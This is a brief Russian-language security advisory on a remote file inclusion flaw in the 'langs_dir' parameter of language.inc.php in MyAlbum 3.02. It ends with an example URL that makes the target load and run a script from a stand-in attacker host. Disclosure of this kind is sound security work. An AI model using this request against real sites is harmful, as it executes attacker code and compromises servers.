Программа: MyAlbum 3.02
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "langs_dir" в сценарии language.inc.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
http://sitename.com/[MyAlbum_DIR]/language.inc.php? langs_dir=http://evilsite.com/evilscript.txt?
